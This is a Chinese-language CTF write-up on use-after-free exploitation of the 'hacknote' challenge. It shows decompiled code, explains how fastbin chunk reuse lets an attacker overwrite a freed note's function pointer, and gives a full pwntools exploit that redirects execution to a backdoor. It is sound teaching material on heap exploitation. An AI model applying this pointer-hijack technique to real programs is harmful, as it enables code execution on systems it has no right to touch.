UAF 和 off-by-one 一样, 不太像是堆管理器的漏洞, 所以算是比较好学的?
Use After Free 就是字面意思. 当 free 掉了一块内存后, 但是指针没有设置为 NULL, 这时, 如果再堆这块内存进行操作, 就很可能造成程序的崩溃. 或者如果这块内存又被分配到了其他地方, 那么这个指针对这块内存进行操作, 就可能会改变内存, 达到一些其他效果.
一般利用 UAF, 就是先 free 掉一块内存, 然后 alloc 另一块, 使其重叠或者重复, 这样就有两个位置可以写入数据, 达到利用的效果.
32 位 ELF, 没有 PIE. 逆向过程省略.
菜单题:
1
2
3
4
|
puts(" 1. Add note ");
puts(" 2. Delete note ");
puts(" 3. Print note ");
puts(" 4. Exit ");
|
note 的结构如下:
1
2
3
4
5
|
struct Note
{
void (__cdecl *put)(struct Note *);
char *content;
};
|
add_note:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
unsigned int add_note()
{
struct Note *note; // ebx
int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf[8]; // [esp+14h] [ebp-14h] BYREF
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
if ( count <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !notelist[i] )
{
notelist[i] = (struct Note *)malloc(8u);
if ( !notelist[i] )
{
puts("Alloca Error");
exit(-1);
}
notelist[i]->put = print_note_content;
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
note = notelist[i];
note->content = (char *)malloc(size);
if ( !notelist[i]->content )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, notelist[i]->content, size);
puts("Success !");
++count;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}
|
count 和 notelist 都是全局变量. 可以看到, 一共有可以添加 5 个 note, 首先把 put 函数指针设为 print_note_content, print_note_content 如下:
1
2
3
4
|
void __cdecl print_note_content(struct Note *note)
{
puts(note->content);
}
|
然后读取 size, content = malloc(size), 再写入 content.
del_note:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
unsigned int del_note()
{
int index; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
index = atoi(buf);
if ( index < 0 || index >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( notelist[index] )
{
free(notelist[index]->content);
free(notelist[index]);
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}
|
输入下标, 然后判断该位置是否有内容, 有的话就 free 掉 note 结构体和其中的 content. 但是, 未将 notelist[index] 设置为 NULL. 存在 UAF 漏洞.
print_note:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
unsigned int print_note()
{
int index; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
index = atoi(buf);
if ( index < 0 || index >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( notelist[index] )
notelist[index]->put(notelist[index]);
return __readgsdword(0x14u) ^ v3;
}
|
打印对应的 content. 不过, 打印的方法是 调用 put 函数指针指向的函数.
还有个后门函数:
1
2
3
4
|
int magic()
{
return system("cat flag");
}
|
由于没有 PIE, 所以我们可以尝试利用 UAF, 将某一个 note 的 put 设置为 magic 的地址, 然后 print_note, 得到 flag.
由于存在 bin 的机制, 当 free 掉了一块 size 大小的 chunk 后, 再申请相同大小的 chunk, 会得到相同位置的 chunk. (具体看堆管理器的机制) 那么我们如果可以将某一块 note 的结构 free 掉, 然后在申请其他 note 的 content 的时候, 申请到这个 note 的结构, 这样就可以改变 note->put 的值了. 由于 UAF, 这个被 free 过的 note 其实还是可以 print_note 的.
可以这样构造:
先 add 两个 note, content 的大小和 note 的 chunk 不一样 (note 是 0x8 + 0x8 = 0x10, 已经是最小的 chunk 了, 那 content 可以选择更大的 size). 然后 free 掉这两个.
此时堆如下:
这样, 这四块 chunk 都被丢进了相应的 bin 里. 下次申请 chunk 的时候, 如果有合适的, 就直接申请到这部分了.
需要注意的是, 0x10 大小的 chunk 会放在 fastbin 里, fastbin 是 FILO.
然后, 再 add_note, content 的大小是 0x8. 加上 header, 就是 0x10 的 chunk. 这样, notelist[2] = (struct Note *)malloc(8u);
会得到 notelist[1] 相同的值 (如果先 free note 0, 再 free note 1, 那么由于 fastbin 的 FILO, 会申请到 note 1 对应的地址), note->content = (char *)malloc(8);
时, 会从 bin 里找有没有 0x10 大小的 chunk, 正好, note 0 对应的 chunk 就有. 于是, notelist[2]->content 的值就和 notelist[0] 一样了.
接下来输入 content 的内容, 就可以修改 note 0 的 put 了. 改为 magic 的地址.
由于 note 0 的指针还在, 也就是 notelist[0], 接下来 print_note 0, 就调用了 magic 函数. 执行了 system(“cat flag”) 了.
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
from pwn import *
context(log_level='debug')
r = process('./hacknote')
def addnote(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def delnote(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
def printnote(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
magic = 0x08048986
addnote(32, "aaaa") # add note 0
addnote(32, "ddaa") # add note 1
delnote(0) # delete note 0
delnote(1) # delete note 1
addnote(8, p32(magic)) # add note 2
printnote(0) # print note 0
r.interactive()
|
几乎一模一样. 先咕.
c++ uaf, 涉及到函数虚表的内容, 先咕.